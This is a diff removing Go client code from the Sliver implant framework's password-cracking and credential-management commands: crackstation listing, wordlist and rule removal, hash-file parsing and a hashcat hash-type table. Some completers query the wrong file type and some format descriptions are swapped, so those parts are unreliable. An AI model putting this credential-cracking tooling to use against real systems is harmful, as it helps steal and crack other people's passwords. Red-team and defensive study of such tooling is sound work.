var wordlistName string
if len(args) > 0 {
wordlistName = args[0]
}
if wordlistName == "" {
con.PrintErrorf("No name specified, see --help\n")
return
}
wordlists, err := con.Rpc.CrackFilesList(context.Background(), &clientpb.CrackFile{Type: clientpb.CrackFileType_WORDLIST})
if err != nil {
con.PrintErrorf("%s\n", err)
return
}
found := false
for _, wordlist := range wordlists.Files {
if wordlist.Name == wordlistName && wordlist.Type == clientpb.CrackFileType_WORDLIST {
found = true
_, err := con.Rpc.CrackFileDelete(context.Background(), wordlist)
if err != nil {
con.PrintErrorf("%s\n", err)
return
}
break
}
}
if found {
con.PrintInfof("Removed wordlist: %s\n", wordlistName)
} else {
con.PrintErrorf("Wordlist not found: %s\n", wordlistName)
}
}
// CrackRulesRmCmd - Manage GPU cracking stations
func CrackRulesRmCmd(cmd *cobra.Command, con *console.SliverConsoleClient, args []string) {
var rulesName string
if len(args) > 0 {
rulesName = args[0]
}
if rulesName == "" {
con.PrintErrorf("No name specified, see --help\n")
return
}
rules, err := con.Rpc.CrackFilesList(context.Background(), &clientpb.CrackFile{Type: clientpb.CrackFileType_RULES})
if err != nil {
con.PrintErrorf("%s\n", err)
return
}
found := false
for _, rulesFile := range rules.Files {
if rulesFile.Name == rulesName && rulesFile.Type == clientpb.CrackFileType_RULES {
found = true
_, err := con.Rpc.CrackFileDelete(context.Background(), rulesFile)
if err != nil {
con.PrintErrorf("%s\n", err)
return
}
break
}
}
if found {
con.PrintInfof("Removed rules: %s\n", rulesName)
} else {
con.PrintErrorf("Rules not found: %s\n", rulesName)
}
}
// CrackHcstat2RmCmd - remove a hcstat2 file
func CrackHcstat2RmCmd(cmd *cobra.Command, con *console.SliverConsoleClient, args []string) {
var hcstat2Name string
if len(args) > 0 {
hcstat2Name = args[0]
}
if hcstat2Name == "" {
con.PrintErrorf("No name specified, see --help\n")
return
}
hcstat2s, err := con.Rpc.CrackFilesList(context.Background(), &clientpb.CrackFile{Type: clientpb.CrackFileType_MARKOV_HCSTAT2})
if err != nil {
con.PrintErrorf("%s\n", err)
return
}
found := false
for _, hcstat2File := range hcstat2s.Files {
if hcstat2File.Name == hcstat2Name && hcstat2File.Type == clientpb.CrackFileType_MARKOV_HCSTAT2 {
found = true
_, err := con.Rpc.CrackFileDelete(context.Background(), hcstat2File)
if err != nil {
con.PrintErrorf("%s\n", err)
return
}
break
}
}
if found {
con.PrintInfof("Removed hcstat2: %s\n", hcstat2Name)
} else {
con.PrintErrorf("Hcstat2 not found: %s\n", hcstat2Name)
}
}
-148
View File
@@ -1,148 +0,0 @@
package crack
/*
Sliver Implant Framework
Copyright (C) 2022 Bishop Fox
This program is free software: you can redistribute it and/or modify
it under the terms of the GNU General Public License as published by
the Free Software Foundation, either version 3 of the License, or
(at your option) any later version.
This program is distributed in the hope that it will be useful,
but WITHOUT ANY WARRANTY; without even the implied warranty of
MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
GNU General Public License for more details.
You should have received a copy of the GNU General Public License
along with this program. If not, see <https://www.gnu.org/licenses/>.
*/
import (
"context"
"fmt"
"sort"
"github.com/jedib0t/go-pretty/v6/table"
"github.com/spf13/cobra"
"github.com/bishopfox/sliver/client/command/settings"
"github.com/bishopfox/sliver/client/console"
"github.com/bishopfox/sliver/protobuf/clientpb"
"github.com/bishopfox/sliver/protobuf/commonpb"
)
// CrackCmd - GPU password cracking interface
func CrackCmd(cmd *cobra.Command, con *console.SliverConsoleClient, args []string) {
if !AreCrackersOnline(con) {
PrintNoCrackstations(con)
} else {
crackers, err := con.Rpc.Crackstations(context.Background(), &commonpb.Empty{})
if err != nil {
con.PrintErrorf("%s\n", err)
return
}
con.PrintInfof("%d crackstation(s) connected to server\n", len(crackers.Crackstations))
}
crackFiles, err := con.Rpc.CrackFilesList(context.Background(), &clientpb.CrackFile{})
if err != nil {
con.PrintErrorf("%s\n", err)
return
}
if len(crackFiles.Files) == 0 {
con.PrintInfof("No crack files uploaded to server\n")
} else {
con.Println()
PrintCrackFilesByType(crackFiles, con)
}
}
// CrackStationsCmd - Manage GPU cracking stations
func CrackStationsCmd(cmd *cobra.Command, con *console.SliverConsoleClient, args []string) {
crackers, err := con.Rpc.Crackstations(context.Background(), &commonpb.Empty{})
if err != nil {
con.PrintErrorf("%s\n", err)
return
}
if len(crackers.Crackstations) == 0 {
PrintNoCrackstations(con)
} else {
PrintCrackers(crackers.Crackstations, con)
}
}
func PrintNoCrackstations(con *console.SliverConsoleClient) {
con.PrintInfof("No crackstations connected to server\n")
}
func AreCrackersOnline(con *console.SliverConsoleClient) bool {
crackers, err := con.Rpc.Crackstations(context.Background(), &commonpb.Empty{})
if err != nil {
return false
}
return len(crackers.Crackstations) > 0
}
func PrintCrackers(crackers []*clientpb.Crackstation, con *console.SliverConsoleClient) {
sort.Slice(crackers, func(i, j int) bool {
return crackers[i].Name < crackers[j].Name
})
for index, cracker := range crackers {
printCracker(cracker, index, con)
if index < len(crackers)-1 {
con.Println()
con.Println()
}
}
}
func printCracker(cracker *clientpb.Crackstation, index int, con *console.SliverConsoleClient) {
tw := table.NewWriter()
tw.SetStyle(settings.GetTableStyle(con))
tw.SetTitle(console.Bold + console.Orange + fmt.Sprintf(">>> Crackstation %02d - %s (%s)", index+1, cracker.Name, cracker.OperatorName) + console.Normal + "\n")
tw.AppendSeparator()
tw.AppendRow(table.Row{console.Bold + "Operating System" + console.Normal, fmt.Sprintf("%s/%s", cracker.GOOS, cracker.GOARCH)})
tw.AppendRow(table.Row{console.Bold + "Hashcat Version" + console.Normal, cracker.HashcatVersion})
if 0 < len(cracker.CUDA) {
for _, cuda := range cracker.CUDA {
tw.AppendSeparator()
tw.AppendRow(table.Row{console.Bold + "CUDA Device" + console.Normal, fmt.Sprintf(console.Bold+console.Green+"%s (%s)"+console.Normal, cuda.Name, cuda.Version)})
tw.AppendRow(table.Row{console.Bold + "Memory" + console.Normal, fmt.Sprintf("%s free of %s", cuda.MemoryFree, cuda.MemoryTotal)})
tw.AppendRow(table.Row{console.Bold + "Clock" + console.Normal, fmt.Sprintf("%d", cuda.Clock)})
tw.AppendRow(table.Row{console.Bold + "Processors" + console.Normal, fmt.Sprintf("%d", cuda.Processors)})
}
}
if 0 < len(cracker.Metal) {
for _, metal := range cracker.Metal {
tw.AppendSeparator()
tw.AppendRow(table.Row{console.Bold + "Metal Device" + console.Normal, fmt.Sprintf(console.Bold+console.Green+"%s (%s)"+console.Normal, metal.Name, metal.Version)})
tw.AppendRow(table.Row{console.Bold + "Memory" + console.Normal, fmt.Sprintf("%s free of %s", metal.MemoryFree, metal.MemoryTotal)})
tw.AppendRow(table.Row{console.Bold + "Clock" + console.Normal, fmt.Sprintf("%d", metal.Clock)})
tw.AppendRow(table.Row{console.Bold + "Processors" + console.Normal, fmt.Sprintf("%d", metal.Processors)})
}
}
if 0 < len(cracker.OpenCL) {
for _, openCL := range cracker.OpenCL {
tw.AppendSeparator()
tw.AppendRow(table.Row{console.Bold + "OpenCL Device" + console.Normal, fmt.Sprintf(console.Bold+console.Green+console.Bold+"%s (%s)"+console.Normal, openCL.Name, openCL.Version)})
tw.AppendRow(table.Row{console.Bold + "Memory" + console.Normal, fmt.Sprintf("%s free of %s", openCL.MemoryFree, openCL.MemoryTotal)})
tw.AppendRow(table.Row{console.Bold + "Clock" + console.Normal, fmt.Sprintf("%d", openCL.Clock)})
tw.AppendRow(table.Row{console.Bold + "Processors" + console.Normal, fmt.Sprintf("%d", openCL.Processors)})
}
}
con.Printf("%s\n", tw.Render())
con.Println()
printBenchmarks(cracker, con)
}
func printBenchmarks(cracker *clientpb.Crackstation, con *console.SliverConsoleClient) {
tw := table.NewWriter()
tw.SetStyle(settings.GetTableStyle(con))
tw.SetTitle(console.Bold + "Benchmarks" + console.Normal)
tw.SortBy([]table.SortBy{{Name: "Hash Type"}})
tw.AppendHeader(table.Row{"Hash Type", "Rate (H/s)"})
for hashType, speed := range cracker.Benchmarks {
tw.AppendRow(table.Row{clientpb.HashType(hashType), fmt.Sprintf("%d", speed)})
}
con.Printf("%s\n", tw.Render())
}
-110
View File
@@ -1,110 +0,0 @@
package crack
import (
"context"
"fmt"
"time"
"github.com/bishopfox/sliver/client/console"
"github.com/bishopfox/sliver/protobuf/clientpb"
"github.com/rsteube/carapace"
)
func CrackHcstat2Completer(con *console.SliverConsoleClient) carapace.Action {
return carapace.ActionCallback(func(c carapace.Context) carapace.Action {
hcstat2, err := con.Rpc.CrackFilesList(context.Background(), &clientpb.CrackFile{Type: clientpb.CrackFileType_MARKOV_HCSTAT2})
if err != nil {
return carapace.ActionMessage("failed to fetch crack files: %s", err.Error())
}
results := make([]string, 0)
for _, file := range hcstat2.Files {
if file.Type != clientpb.CrackFileType_MARKOV_HCSTAT2 {
continue
}
results = append(results, file.Name)
desc := fmt.Sprintf("%s (%s chunks, chunk size: %s)", byteCountSI(file.UncompressedSize), len(file.Chunks), byteCountSI(file.ChunkSize))
results = append(results, desc)
}
return carapace.ActionValuesDescribed(results...).Tag("hcstat2 files")
})
}
func CrackWordlistCompleter(con *console.SliverConsoleClient) carapace.Action {
return carapace.ActionCallback(func(c carapace.Context) carapace.Action {
hcstat2, err := con.Rpc.CrackFilesList(context.Background(), &clientpb.CrackFile{Type: clientpb.CrackFileType_MARKOV_HCSTAT2})
if err != nil {
return carapace.ActionMessage("failed to fetch crack files: %s", err.Error())
}
results := make([]string, 0)
for _, file := range hcstat2.Files {
if file.Type != clientpb.CrackFileType_WORDLIST {
continue
}
results = append(results, file.Name)
createdAt, modifiedAt := time.Unix(file.CreatedAt, 0).Format("03:04:05"), time.Unix(file.LastModified, 0).Format("03:04:05")
desc := fmt.Sprintf("%s (Created: %s, modified: %s)", byteCountSI(file.UncompressedSize), createdAt, modifiedAt)
results = append(results, desc)
}
return carapace.ActionValuesDescribed(results...).Tag("wordlists")
})
}
func CrackRulesCompleter(con *console.SliverConsoleClient) carapace.Action {
return carapace.ActionCallback(func(c carapace.Context) carapace.Action {
hcstat2, err := con.Rpc.CrackFilesList(context.Background(), &clientpb.CrackFile{Type: clientpb.CrackFileType_MARKOV_HCSTAT2})
if err != nil {
return carapace.ActionMessage("failed to fetch crack files: %s", err.Error())
}
results := make([]string, 0)
for _, file := range hcstat2.Files {
if file.Type != clientpb.CrackFileType_RULES {
continue
}
results = append(results, file.Name)
createdAt, modifiedAt := time.Unix(file.CreatedAt, 0).Format("03:04:05"), time.Unix(file.LastModified, 0).Format("03:04:05")
desc := fmt.Sprintf("%s (Created: %s, modified: %s)", byteCountSI(file.UncompressedSize), createdAt, modifiedAt)
results = append(results, desc)
}
return carapace.ActionValuesDescribed(results...).Tag("wordlists")
})
}
func byteCountSI(b int64) string {
const unit = 1000
if b < unit {
return fmt.Sprintf("%d B", b)
}
div, exp := int64(unit), 0
for n := b / unit; n >= unit; n /= unit {
div *= unit
exp++
}
return fmt.Sprintf("%.1f %cB",
float64(b)/float64(div), "kMGTPE"[exp])
}
func byteCountIEC(b int64) string {
const unit = 1024
if b < unit {
return fmt.Sprintf("%d B", b)
}
div, exp := int64(unit), 0
for n := b / unit; n >= unit; n /= unit {
div *= unit
exp++
}
return fmt.Sprintf("%.1f %ciB",
float64(b)/float64(div), "KMGTPE"[exp])
}
-213
View File
@@ -1,213 +0,0 @@
package creds
/*
Sliver Implant Framework
Copyright (C) 2022 Bishop Fox
This program is free software: you can redistribute it and/or modify
it under the terms of the GNU General Public License as published by
the Free Software Foundation, either version 3 of the License, or
(at your option) any later version.
This program is distributed in the hope that it will be useful,
but WITHOUT ANY WARRANTY; without even the implied warranty of
MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
GNU General Public License for more details.
You should have received a copy of the GNU General Public License
along with this program. If not, see <https://www.gnu.org/licenses/>.
*/
import (
"bufio"
"context"
"os"
"strconv"
"strings"
"github.com/bishopfox/sliver/client/console"
"github.com/bishopfox/sliver/protobuf/clientpb"
"github.com/bishopfox/sliver/protobuf/commonpb"
"github.com/spf13/cobra"
)
const (
UserColonHashNewlineFormat = "user:hash" // username:hash\n
HashNewlineFormat = "hash" // hash\n
CSVFormat = "csv" // username,hash\n
)
// CredsCmd - Add new credentials
func CredsAddCmd(cmd *cobra.Command, con *console.SliverConsoleClient, args []string) {
collection, _ := cmd.Flags().GetString("collection")
username, _ := cmd.Flags().GetString("username")
plaintext, _ := cmd.Flags().GetString("plaintext")
hash, _ := cmd.Flags().GetString("hash")
hashTypeF, _ := cmd.Flags().GetString("hash-type")
hashType := parseHashTypeString(hashTypeF)
if plaintext == "" && hash == "" {
con.PrintErrorf("Either a plaintext or a hash must be provided\n")
return
}
if hashType == clientpb.HashType_INVALID {
con.PrintErrorf("Invalid hash type '%s'\n", hashTypeF)
return
}
_, err := con.Rpc.CredsAdd(context.Background(), &clientpb.Credentials{
Credentials: []*clientpb.Credential{
{
Collection: collection,
Username: username,
Plaintext: plaintext,
Hash: hash,
HashType: hashType,
},
},
})
if err != nil {
con.PrintErrorf("%s\n", err)
return
}
creds, err := con.Rpc.Creds(context.Background(), &commonpb.Empty{})
if err != nil {
con.PrintErrorf("%s\n", err)
return
}
PrintCreds(creds.Credentials, con)
}
// CredsCmd - Add new credentials
func CredsAddHashFileCmd(cmd *cobra.Command, con *console.SliverConsoleClient, args []string) {
collection, _ := cmd.Flags().GetString("collection")
filePath := args[0]
fileFormat, _ := cmd.Flags().GetString("file-format")
if _, err := os.Stat(filePath); os.IsNotExist(err) {
con.PrintErrorf("File '%s' does not exist\n", filePath)
return
}
hashTypeF, _ := cmd.Flags().GetString("hash-type")
hashType := parseHashTypeString(hashTypeF)
if hashType == clientpb.HashType_INVALID {
con.PrintErrorf("Invalid hash type '%s'\n", hashTypeF)
return
}
con.PrintInfof("Parsing file '%s' as '%s' format ...\n", filePath, fileFormat)
var creds *clientpb.Credentials
var err error
switch fileFormat {
case UserColonHashNewlineFormat:
creds, err = parseUserColonHashNewline(filePath, hashType)
case HashNewlineFormat:
creds, err = parseHashNewline(filePath, hashType)
case CSVFormat:
creds, err = parseCSV(filePath, hashType)
default:
con.PrintErrorf("Invalid file format '%s', see 'creds add file --help'\n", fileFormat)
return
}
if err != nil {
con.PrintErrorf("%s\n", err)
return
}
for _, cred := range creds.Credentials {
cred.Collection = collection
}
con.PrintInfof("Adding %d credential(s) ...\n", len(creds.Credentials))
_, err = con.Rpc.CredsAdd(context.Background(), creds)
if err != nil {
con.PrintErrorf("%s\n", err)
return
}
creds, err = con.Rpc.Creds(context.Background(), &commonpb.Empty{})
if err != nil {
con.PrintErrorf("%s\n", err)
return
}
PrintCreds(creds.Credentials, con)
}
func parseHashType(raw string) clientpb.HashType {
hashInt, err := strconv.Atoi(raw)
if err == nil {
return clientpb.HashType(hashInt)
}
return clientpb.HashType_INVALID
}
// same as parseHashType, but use the string representation.
func parseHashTypeString(raw string) clientpb.HashType {
if hashType, valid := clientpb.HashType_value[raw]; valid {
return clientpb.HashType(hashType)
}
return clientpb.HashType_INVALID
}
func parseUserColonHashNewline(filePath string, hashType clientpb.HashType) (*clientpb.Credentials, error) {
file, err := os.Open(filePath)
if err != nil {
return nil, err
}
defer file.Close()
scanner := bufio.NewScanner(file)
creds := &clientpb.Credentials{}
for scanner.Scan() {
line := scanner.Text()
parts := strings.Split(line, ":")
if len(parts) != 2 {
continue
}
creds.Credentials = append(creds.Credentials, &clientpb.Credential{
Username: parts[0],
Hash: parts[1],
HashType: hashType,
})
}
return creds, nil
}
func parseHashNewline(filePath string, hashType clientpb.HashType) (*clientpb.Credentials, error) {
file, err := os.Open(filePath)
if err != nil {
return nil, err
}
defer file.Close()
scanner := bufio.NewScanner(file)
creds := &clientpb.Credentials{}
for scanner.Scan() {
line := scanner.Text()
creds.Credentials = append(creds.Credentials, &clientpb.Credential{
Hash: line,
HashType: hashType,
})
}
return creds, nil
}
func parseCSV(filePath string, hashType clientpb.HashType) (*clientpb.Credentials, error) {
file, err := os.Open(filePath)
if err != nil {
return nil, err
}
defer file.Close()
scanner := bufio.NewScanner(file)
creds := &clientpb.Credentials{}
scanner.Scan() // skip header
for scanner.Scan() {
line := scanner.Text()
parts := strings.Split(line, ",")
if len(parts) < 2 {
continue
}
creds.Credentials = append(creds.Credentials, &clientpb.Credential{
Username: parts[0],
Hash: parts[1],
HashType: hashType,
})
}
return creds, nil
}
-182
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@@ -1,182 +0,0 @@
package creds
/*
Sliver Implant Framework
Copyright (C) 2022 Bishop Fox
This program is free software: you can redistribute it and/or modify
it under the terms of the GNU General Public License as published by
the Free Software Foundation, either version 3 of the License, or
(at your option) any later version.
This program is distributed in the hope that it will be useful,
but WITHOUT ANY WARRANTY; without even the implied warranty of
MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
GNU General Public License for more details.
You should have received a copy of the GNU General Public License
along with this program. If not, see <https://www.gnu.org/licenses/>.
*/
import (
"context"
"fmt"
"strings"
"github.com/jedib0t/go-pretty/v6/table"
"github.com/rsteube/carapace"
"github.com/spf13/cobra"
"github.com/bishopfox/sliver/client/command/settings"
"github.com/bishopfox/sliver/client/console"
"github.com/bishopfox/sliver/protobuf/clientpb"
"github.com/bishopfox/sliver/protobuf/commonpb"
)
// CredsCmd - Manage credentials
func CredsCmd(cmd *cobra.Command, con *console.SliverConsoleClient, args []string) {
creds, err := con.Rpc.Creds(context.Background(), &commonpb.Empty{})
if err != nil {
con.PrintErrorf("%s\n", err)
return
}
if len(creds.Credentials) == 0 {
con.PrintInfof("No credentials 🙁\n")
return
}
PrintCreds(creds.Credentials, con)
}
func PrintCreds(creds []*clientpb.Credential, con *console.SliverConsoleClient) {
collections := make(map[string][]*clientpb.Credential)
for _, cred := range creds {
collections[cred.Collection] = append(collections[cred.Collection], cred)
}
for collection, creds := range collections {
printCollection(collection, creds, con)
con.Println()
}
}
func printCollection(collection string, creds []*clientpb.Credential, con *console.SliverConsoleClient) {
tw := table.NewWriter()
tw.SetStyle(settings.GetTableStyle(con))
if collection != "" {
tw.SetTitle(console.Bold + collection + console.Normal)
} else {
tw.SetTitle(console.Bold + "Default Collection" + console.Normal)
}
tw.AppendHeader(table.Row{
"ID",
"Username",
"Plaintext",
"Hash",
"Hash Type",
"Cracked",
})
for _, cred := range creds {
tw.AppendRow(table.Row{
strings.Split(cred.ID, "-")[0],
cred.Username,
cred.Plaintext,
cred.Hash,
cred.HashType,
cred.IsCracked,
})
}
con.Printf("%s\n", tw.Render())
}
// CredsHashTypeCompleter completes hash types.
func CredsHashTypeCompleter(con *console.SliverConsoleClient) carapace.Action {
return carapace.ActionCallback(func(c carapace.Context) carapace.Action {
results := make([]string, 0)
for hashType, desc := range hashTypes {
results = append(results, hashType)
results = append(results, desc)
}
return carapace.ActionValuesDescribed(results...).Tag("hash types")
})
}
// CredsHashFileFormatCompleter completes file formats for hash-files
func CredsHashFileFormatCompleter(con *console.SliverConsoleClient) carapace.Action {
return carapace.ActionValuesDescribed(
UserColonHashNewlineFormat, "One hash per line.",
HashNewlineFormat, "A file containing lines of 'username:hash' pairs.",
CSVFormat, "A CSV file containing 'username,hash' pairs (additional columns ignored).",
).Tag("hash file formats")
}
// CredsCollectionCompleter completes existing creds collection names
func CredsCollectionCompleter(con *console.SliverConsoleClient) carapace.Action {
return carapace.ActionCallback(func(c carapace.Context) carapace.Action {
results := make([]string, 0)
creds, err := con.Rpc.Creds(context.Background(), &commonpb.Empty{})
if err != nil {
return carapace.ActionMessage("failed to fetch credentials: %s", err.Error())
}
if len(creds.Credentials) == 0 {
return carapace.Action{}
}
for _, cred := range creds.Credentials {
if cred.Collection != "" {
results = append(results, cred.Collection)
}
}
return carapace.ActionValues(results...).Tag("creds collections")
})
}
// CredsCredentialIDCompleter completes credential IDs.
func CredsCredentialIDCompleter(con *console.SliverConsoleClient) carapace.Action {
return carapace.ActionCallback(func(c carapace.Context) carapace.Action {
results := make([]string, 0)
creds, err := con.Rpc.Creds(context.Background(), &commonpb.Empty{})
if err != nil {
return carapace.ActionMessage("failed to fetch credentials: %s", err.Error())
}
if len(creds.Credentials) == 0 {
return carapace.Action{}
}
for _, cred := range creds.Credentials {
results = append(results, cred.ID)
var hostID string
if cred.OriginHostUUID != "" {
if len(cred.OriginHostUUID) > 8 {
hostID = cred.OriginHostUUID[8:]
} else {
hostID = cred.OriginHostUUID
}
} else {
hostID = "None"
}
var username string
if cred.Username != "" {
username = fmt.Sprintf(" (user: %s)", cred.Username)
}
var cracked string
if cred.IsCracked {
cracked = "[C]"
} else {
cracked = "[ ]"
}
desc := fmt.Sprintf("[Host: %s] ( %s ) %s%s", hostID, cred.HashType.String(), cracked, username)
results = append(results, desc)
}
return carapace.ActionValuesDescribed(results...).Tag("credentials")
})
}
-143
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@@ -1,143 +0,0 @@
package creds
// List of all available hash-types, for completions.
// Unfortunately this list has to be maintained manually,
// until someone devises a way to do so automatically.
var hashTypes = map[string]string{
"MD5": "MD5", // Enum 0 in proto file.
"MD4": "MD4",
"SHA1": "SHA1",
"SHA2_224": "SHA2-224",
"SHA2_256": "SHA2-256",
"SHA2_384": "SHA2-384",
"SHA2_512": "SHA2-512",
"SHA3_224": "SHA3-224",
"SHA3_256": "SHA3-256",
"SHA3_384": "SHA3-384",
"SHA3_512": "SHA3-512",
"RIPEMD_160": "RIPEMD-160",
"BLAKE2B_256": "BLAKE2b-512",
"GOST_R_32_11_2012_256": "GOST R 34.11-2012 (Streebog) 256-bit, big-endian",
"GOST_R_32_11_2012_512": "GOST R 34.11-2012 (Streebog) 512-bit, big-endian",
"GOST_R_34_11_94": "GOST R 34.11-94",
"GPG": "GPG (AES-128/AES-256 (SHA-1($pass)))",
"HALF_MD5": "Half MD5",
"KECCAK_224": "Keccak-224",
"KECCAK_256": "Keccak-256",
"KECCAK_384": "Keccak-384",
"KECCAK_512": "Keccak-512",
"WHIRLPOOL": "Whirlpool",
"SIPHASH": "SipHash",
"MD5_UTF16LE": "md5(utf16le($pass))",
"SHA1_UTF16LE": "sha1(utf16le($pass))",
"SHA256_UTF16LE": "sha256(utf16le($pass))",
"SHA384_UTF16LE": "sha384(utf16le($pass))",
"SHA512_UTF16LE": "sha512(utf16le($pass))",
"BLAKE2B_512_PW_SALT": "BLAKE2b-512($pass.$salt)",
"BLAKE2B_512_SALT_PW": "BLAKE2b-512($salt.$pass)",
"MD5_PW_SALT": "md5($pass.$salt)",
"MD5_SALT_PW": "md5($salt.$pass)",
"MD5_SALT_PW_SALT": "md5($salt.$pass.$salt)",
"MD5_SALT_MD5_PW": "md5($salt.md5($pass))",
// ... TODO fill in the rest ...,
"CRC32": "CRC32",
"CRC32C": "CRC32B",
"CRC64Jones": "CRC64-Jones",
"JAVA_OBJECT": "Java object",
"MURMUR": "MurmurHash",
"MURMUR3": "MurmurHash3",
"THREE_DES": "3DES (PT = $salt, key = $pass)",
"DES": "DES (PT = $salt, key = $pass)",
"AES_128_ECB": "AES-128-ECB NOKDF (PT = $salt, key = $pass)",
"AES_192_ECB": "AES-192-ECB NOKDF (PT = $salt, key = $pass)",
"AES_256_ECB": "AES-256-ECB NOKDF (PT = $salt, key = $pass)",
"CHA_CHA_20": "ChaCha20",
"LINUX_KERNEL_CRYPTO_API_24": "Linux Kernel Crypto API (2.4)",
"SKIP_32": "Skip32 (PT = $salt, key = $pass)",
"PBKDF2_HMAC_MD5": "PBKDF2-HMAC-MD5",
"PBKDF2_HMAC_SHA1": "PBKDF2-HMAC-SHA1",
"PBKDF2_HMAC_SHA256": "PBKDF2-HMAC-SHA256",
"PBKDF2_HMAC_SHA512": "PBKDF2-HMAC-SHA512",
"SCRYPT": "scrypt",
"PHPASS": "phpass",
"TACACS_PLUS": "TACACS+",
"SIP_DIGEST": "SIP digest authentication (MD5)",
"IKE_MD5": "IKE-PSK MD5",
"IKE_SHA1": "IKE-PSK SHA1",
"SNMP_V3_HMAC_MD5_96": "SNMPv3 HMAC-MD5-96",
"SNMP_V3_HMAC_MD5_96__SHA1_96": "SNMPv3 HMAC-MD5-96 / HMAC-SHA1-96",
"SNMP_V3_HMAC_SHA1_96": "SNMPv3 HMAC-SHA1-96",
"SNMP_V3_HMAC_SHA224_128": "SNMPv3 HMAC-SHA224-128",
"SNMP_V3_HMAC_SHA256_192": "SNMPv3 HMAC-SHA256-192",
"SNMP_V3_HMAC_SHA384_256": "SNMPv3 HMAC-SHA384-256",
"SNMP_V3_HMAC_SHA512_384": "SNMPv3 HMAC-SHA512-384",
"WPA_EAPOL_PBKDF2": "WPA-EAPOL-PBKDF2",
"WPA_EAPOL_PMK": "WPA-EAPOL-PMK",
"WPA_PBKDF2_PMKID_EAPOL": "WPA-PBKDF2-PMKID+EAPOL",
"WPA_PMK_PMKID_EAPOL": "WPA-PMK-PMKID+EAPOL",
"WPA_PMKID_PBKDF2": "WPA-PMKID-PBKDF2",
"WPA_PMKID_PMK": "WPA-PMKID-PMK",
"IPMI2_PAKP_HMAC_SHA1": "IPMI2 RAKP HMAC-SHA1",
"CRAM_MD5": "CRAM-MD5",
"JWT": "JWT (JSON Web Token)",
"RADMIN_3": "Radmin3",
"KERBEROS_17_TGS_REP": "Kerberos 5, etype 17, TGS-REP",
"KERBEROS_17_PREAUTH": "Kerberos 5, etype 17, Pre-Auth",
"KERBEROS_17_DB": "Kerberos 5, etype 17, DB",
"KERBEROS_18_TGS_REP": "Kerberos 5, etype 18, TGS-REP",
"KERBEROS_18_PREAUTH": "Kerberos 5, etype 18, Pre-Auth",
"KERBEROS_18_DB": "Kerberos 5, etype 18, DB",
"KERBEROS_23_SA_REQ_PREAUTH": "Kerberos 5, etype 23, AS-REQ Pre-Auth",
"KERBEROS_23_TGS_REP": "Kerberos 5, etype 23, TGS-REP",
"KERBEROS_23_AS_REP": "Kerberos 5, etype 23, AS-REP",
"NET_NTLM_V1": "NetNTLMv1 / NetNTLMv1+ESS",
"NET_NTLM_V1_NT": "NetNTLMv1 / NetNTLMv1+ESS (NT)",
"NET_NTLM_V2": "NetNTLMv2",
"NET_NTLM_V2_NT": "NetNTLMv2 (NT)",
"FLASK": "Flask Session Cookie ($salt.$salt.$pass)",
"ISCSI_CHAP": "iSCSI CHAP authentication, MD5(CHAP)",
"RACF": "Resource Access Control Facility",
"AIX_SMD5": "AIX MD5",
"AIX_SSHA1": "AIX SHA-1",
"AIX_SSHA256": "AIX SHA-256",
"AIX_SSHA512": "AIX SHA-512",
"LM": "LM",
"QNX_MD5": "QNX /etc/shadow (MD5)",
"QNX_SHA256": "QNX /etc/shadow (SHA256)",
"QNX_SHA512": "QNX /etc/shadow (SHA512)",
"DPAPI_V1_CTX_1_AND_2": "DPAPI masterkey file v1 (context 1 and 2)",
"DPAPI_V1_CTX_3": "DPAPI masterkey file v1 (context 3)",
"DPAPI_V2_CTX_1_AND_2": "DPAPI masterkey file v2 (context 1)",
"DPAPI_V2_CTX_3": "DPAPI masterkey file v2 (context 3)",
"GRUB_2": "GRUB 2",
"MS_AZURE_SYNC": "MS-AzureSync PBKDF2-HMAC-SHA256",
"BSDI_CRYPT": "BSDi Crypt, Extended DES",
"NTLM": "NTLM",
"RADMIN2": "Radmin2",
"SAMSUNG_ANDROID": "Samsung Android Password/PIN",
"WINDOWS_HELLO_PIN": "Windows Hello PIN/Password",
"WINDOWS_PHONE": "Windows Phone 8+ PIN/Password",
"CISCO_ASA_MD5": "Cisco-ASA MD5",
"CISCO_IOS_PBKDF2_SHA256": "Cisco-IOS $8$ (PBKDF2-SHA256)",
"CISCO_IOS_SCRYPT": "Cisco-IOS $9$ (scrypt)",
"CISCO_PIX_MD5": "Cisco-Pix MD5",
"CITRIX_NETSCALER_SHA1": "Citrix NetScaler (SHA1)",
"CITRIX_NETSCALER_SHA512": "Citrix NetScaler (SHA512)",
"DCC": "Domain Cached Credentials (DCC), MS Cache",
"DCC2": "Domain Cached Credentials 2 (DCC2), MS Cache 2",
// ...
"MACOS_10_8": "macOS v10.8+ (PBKDF2-SHA512)",
// ...
// INVALID = 9999; // Invalid hash type
// Out of order
"BCRYPT_UNIX": "bcrypt",
"SHA512_CRYPT_UNIX": "sha512crypt $6$, SHA512 (Unix)",
}
-65
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@@ -1,65 +0,0 @@
package creds
/*
Sliver Implant Framework
Copyright (C) 2022 Bishop Fox
This program is free software: you can redistribute it and/or modify
it under the terms of the GNU General Public License as published by
the Free Software Foundation, either version 3 of the License, or
(at your option) any later version.
This program is distributed in the hope that it will be useful,
but WITHOUT ANY WARRANTY; without even the implied warranty of
MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
GNU General Public License for more details.
You should have received a copy of the GNU General Public License
along with this program. If not, see <https://www.gnu.org/licenses/>.
*/
import (
"context"
"github.com/bishopfox/sliver/client/console"
"github.com/bishopfox/sliver/protobuf/clientpb"
"github.com/bishopfox/sliver/protobuf/commonpb"
"github.com/spf13/cobra"
)
// CredsCmd - Add new credentials
func CredsRmCmd(cmd *cobra.Command, con *console.SliverConsoleClient, args []string) {
var id string
if len(args) > 0 {
id = args[0]
}
if id == "" {
credential, err := SelectCredential(false, clientpb.HashType_INVALID, con)
if err != nil {
con.PrintErrorf("%s\n", err)
return
}
id = credential.ID
}
_, err := con.Rpc.CredsRm(context.Background(), &clientpb.Credentials{
Credentials: []*clientpb.Credential{
{
ID: id,
},
},
})
if err != nil {
con.PrintErrorf("%s\n", err)
return
}
creds, err := con.Rpc.Creds(context.Background(), &commonpb.Empty{})
if err != nil {
con.PrintErrorf("%s\n", err)
return
}
if len(creds.Credentials) == 0 {
con.PrintInfof("No credentials 🙁\n")
return
}
PrintCreds(creds.Credentials, con)
}
-73
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@@ -1,73 +0,0 @@
package creds
import (
"bytes"
"context"
"errors"
"fmt"
"strings"
"text/tabwriter"
"github.com/AlecAivazis/survey/v2"
